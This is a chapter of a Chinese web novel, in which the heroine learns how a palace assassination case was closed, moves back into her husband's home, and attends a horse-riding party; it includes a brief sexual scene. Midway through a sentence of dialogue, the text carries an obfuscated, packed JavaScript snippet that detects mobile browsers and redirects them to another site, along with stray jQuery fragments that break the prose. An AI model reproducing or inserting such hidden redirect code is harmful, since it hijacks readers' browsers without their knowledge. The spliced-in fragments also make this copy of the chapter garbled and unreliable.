默认冷灰
24号文字
方正启体

46. 结案

作者:爱吃云的猫本书字数:K更新时间:
    许是熟悉的气味萦绕,宋云砚这一觉睡得极为安稳,以至金芒刺眼,院中叮叮咚咚的动静响起,扰得她再无睡意。


    身侧空荡荡的床铺早已无人,昨夜的旖旎恍若美梦,唯有羽毛挠过的酥麻不曾散去。


    她翻身下床,披了外衫探出头去,一众仆役围在院墙周围,架了木梯不知在摆弄什么,唤春枝来问。


    春枝应声而来,低垂着脑袋,嗓音含糊,“老爷说了,家中易进贼,该加厚院墙才是。”


    春枝越说越小声,在主子无语凝噎的目光中住了嘴。


    院墙之上,铺满了荆棘,上面利刺遍布,如再有翻墙着,恐需掂量掂量。


    宋云砚揉揉眉眼,吩咐厨房多备些饭菜,她可没忘记,季霖策让她今日再去锦衣卫值档房。


    临近午时方才出门。


    回想昨夜的种种,赵韫一事虽是揭过,到底不适合再留在锦衣卫了。


    而春猎刺杀一案,她更多的是好奇,初初听闻仅剩的活口死在牢狱中,震惊之后,方觉疑窦横生。


    锦衣卫的值档房,她曾去过,算不得陌生,马车依旧停在巷子深处,着人去知会季霖策。


    不多时,脚步声渐近,车门被人大力拉开。


    身量结实的男人一步跨上马车,大马金刀坐在她身侧,腰间的香囊晃荡,语气寻常,问她今日带的什么饭菜。


    昨夜寝屋昏暗,瞧不真切,宋云砚细细描过这人的脸庞,不动声色地移开目光,将食盒打开。


    三样菜色并一碗鲜汤,季霖策吃得很快,抱着人坐在腿上,手指一圈圈缠绕着丝丝缕缕的长发,忆起今早和岳丈大人撞面,闷声笑了,问她何时回家。


    “急什么,这才一日。”宋云砚浅笑盈盈,眸光揶揄,“大人怎不同我说些正事,这案子可有些眉头了?”


    “今日就当了结。”季霖策贴在她双肩,轻描淡写的语气仿佛只在说,今日气色不错,“此处人多,待我回去同你讲,你且安心养着。”


    末了又补充一句,“如果我还能进得了你家大门的话。”


    宋云砚原也没指望他这会儿说,闻言笑出了声,“谁让大人就爱翻墙。”


    “小女不幸,得了夫家厌弃,承蒙公子厚爱,定当静候公子到来。”她眨眨眼,眸光狡黠。


    季霖策失笑,敲敲她的脑袋,教她少看些话本,“家中下人都换过了,再有顶嘴的,夫人只管换了便是。”


    宋云砚颔首,示意自己记下了。


    季霖策也就这片刻的空闲,能同人说说话,见上一面,已是知足,替夫人理理散乱的发丝,叮嘱她好生歇息,莫要操劳。


    这才跳下马车,目送马车扬尘而去,回身进了值档房。


    一路回家,宋云砚也没闲着,同小妹宋云凝一起,清点着亲王大婚所需的物什,陪嫁的铺子田庄,又教春枝找来人牙子,留下几个婢女。


    短短半日消磨得极快。


    待回到寝屋,黑蓝的天阴沉沉的。


    宋云砚坐在窗边,随手翻着话本,桌案上摆满了菜肴,静心等候着人回来。


    等得她饥肠辘辘,天际愈发黑沉,饭菜热过三回,季霖策方至。


    他一身华贵锦袍,袖口却破破烂烂,划了好几道。


    宋云砚不由得多看几眼,眉眼弯弯笑个不停。


    季霖策恍若未闻,捡起筷子狼吞虎咽,还不忘给夫人夹几筷子羊肉。


    酒足饭饱后,才在宋云砚的注视下缓缓开口,“此案了结,是太子殿下所为。”


    那人确是死在牢狱中,从狱卒到看守,相关之人轮流在诏狱里走一遭,十八般酷刑受过,吐出了刑部侍郎的名字。


    顺着刑部侍郎家宅一搜,搜到了太子的亲笔书信,落笔处有太子的私章。


    圣上对太子的笔迹颇为熟悉,翻来覆去看过,一言不发。闻讯赶来的太子急忙辩白。


    加之侍郎府中再无其他,侍郎一口咬定,是他一人所为,因着太子年少荒唐行事结怨,怀恨在心,特此谋划。


    圣上沉默地扫过太子,终是盖棺定论,将太子摘了出来,此案了结。


    宋云砚听他说着,陷入沉思,此案不算复杂,因着那刺客情急之下,竟向圣上动手,故而责令严查,并留下活口。


    怎料这活口死于牢狱中,圣上才移交给锦衣卫,至此查清结案。


    季霖策所说的小小变故,应当就是这两处罢。


    她微微侧目,落在旁侧的男人身上,仍有些不解,“太子缘何要安排这一场戏,且太子殿下不会这样轻易扳倒罢。”


    “自是不会这样轻易,不过是给圣上埋下怀疑的种子。”季霖策见她这样感兴趣,多解释几句,“太子殿下这样做,无非就是扫清障碍,稳坐太子宝座。”


    宋云砚顺着他的话细想,方将这件事从头到尾想通。


    季霖策凝着她,目光幽深,“夫人打算何时回去?”


    宋云砚觑他一眼,“大人只消同父亲辞别,言明缘由,自然随时可以。”


    季霖策咬牙,覆在她腰际的手不轻不重地捏着,撑着身子就要起身,“夫人说得是,我现在便去。”


    宋云砚挑眉,赶忙按住他,“都这会儿了,父亲可能歇下了,你且莫急,我着人去问问,再同你一起去。”


    她轻叹,玩笑罢了,这人怎还当真,随即遣小厮去问问,父亲可是歇下了。


    怎料话尚未说完,院中父亲的嗓音倏地响起。


    “我道家里不太平,原来是进了贼。”


    宋云砚眼皮一跳,硬着头皮就要出去,反被季霖策一把按住。


    季霖策说着莫担心,缓步踏出寝屋,唤着岳丈大人。


    宋云砚抬手,没能拉住他,眼睁睁看着他走出去。


    屋外两人说着什么她听不清,绕是贴在门上也无用,轻轻推开一条缝,侧目看去。


    冷不丁撞上父亲的眼神,讪讪一笑推门而出。


    “罢了罢了,你们年轻就折腾吧。”宋岳摆摆手,一副破罐子破摔的模样,“他日若我知晓你欺辱我儿,可就没这么容易走了。”


    季霖策谢过岳丈大人,转头就吩咐婢女收拾东西,一刻也等不得。


    宋云砚哭笑不得,快走几步送父亲离开,嗓音轻柔坚定,眉眼温润,“父亲放心,女儿心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240913|197729||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中有数,他日父亲如有需要,尽管给我递话就好。”


    同在京城,来往不过个把时辰。


    宋岳颔首,“你舅舅留给你的,也一并带走,有难处就和为父说。”


    宋云砚谢过父亲,这才同季霖策上了马车,一路回到季府。


    甫一进门,季霖策似是再也忍不住,合上门就将人压在门上,覆上那肖想甚久的嘴唇,手掌解开她的衣衫,上下游走。


    而后是桌案,床榻,宋云砚眼眸涣散,手指搭在季霖策的肩上,只觉骨头都要被晃散架了,脑袋挨着软枕,沉重的眼皮再也支撑不住,阖上眼眸昏睡。


    下一息,她被翻滚的浪潮淹没,拽入深海,她睁大眼眸,连声求饶,方才换到片刻喘息。


    屋内的动静直至子时三刻方停,宋云砚已然睡着。


    季霖策不轮值,是以要的狠了些,稳稳当当抱着人起身去了浴屋,由着婢女换下被褥,洒扫房间。


    少顷,清洗过后,他轻手轻脚将人放下,自背后拥着人,沉沉睡去。


    连着折腾了两日,宋云砚着实是吃不消,在这日出门,去城外马场赴会时,甚为严肃的同季霖策提起此事。


    “不若这样,逢五逢十同房睡,其余日子分榻睡,如何?”


    季霖策侧目看着她,知晓这两日把人折腾狠,哪有不应。


    城外的马场在洛山东面,因着贵客众多,昭阳公主,长宁郡主,还有几位王爷和平王世子都会来,是以特意挑选在此,以皇后的母族卫氏,邀请诸位跑马击鞠,寻欢作乐。


    夫妇二人到时,场上的跑马正是激烈的时候。


    平王世子秦寒一马当先,面上挂着爽朗的笑。昭阳公主秦斐紧随其后,明媚的眼眸灿若日光。


    其余几人落后稍许,面上或多或少带着笑。


    宋云砚隐隐分辨出,世子秦寒,鲁王秦邵,另外一个则不知晓,扯扯季霖策的衣袖,问那是谁。


    那人并未骑马,立身于旁侧,眸光如春水般缓缓流淌,如玉般的气质引人注目。


    季霖策顺势看去,“那是周王殿下,昭阳殿下的兄长。”


    宋云砚明了,这位殿下也是贤妃娘娘所出,出神之际,尤听到身后有人唤她。


    宋云凝素爱粉嫩的衣衫,这回也不例外,瞧见阿姐,立马提着裙角小跑过来,眼眸亮亮的。


    “原来阿姐也收了拜帖,阿姐可要去打球?”她眼神掠过场上众人,收回目光,巴巴望着阿姐。


    季霖策扫过姐妹两个,几不可闻地皱眉。


    宋云砚横他一眼,“我尚不会骑马,就不凑热闹了,你若是想,尽管去玩便是。”


    宋云凝不疑有他,点点头跑远了,挑了匹枣红色的马,不大利索地翻身上马,扬鞭奔腾。


    夫妇二人选个位子坐下,茶水瓜果点心,一应俱全。


    场上的跑马换了一轮,长宁郡主秦妗策马入场,有意无意同宋云凝较量。


    宋云凝不以为意,任由风沙迷眼,衣摆随风扬起,渐渐远去,身影消散在风中。


    宋云砚终于从小妹奇怪的模样中,咂摸出味来,小妹莫不是想来见谁。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)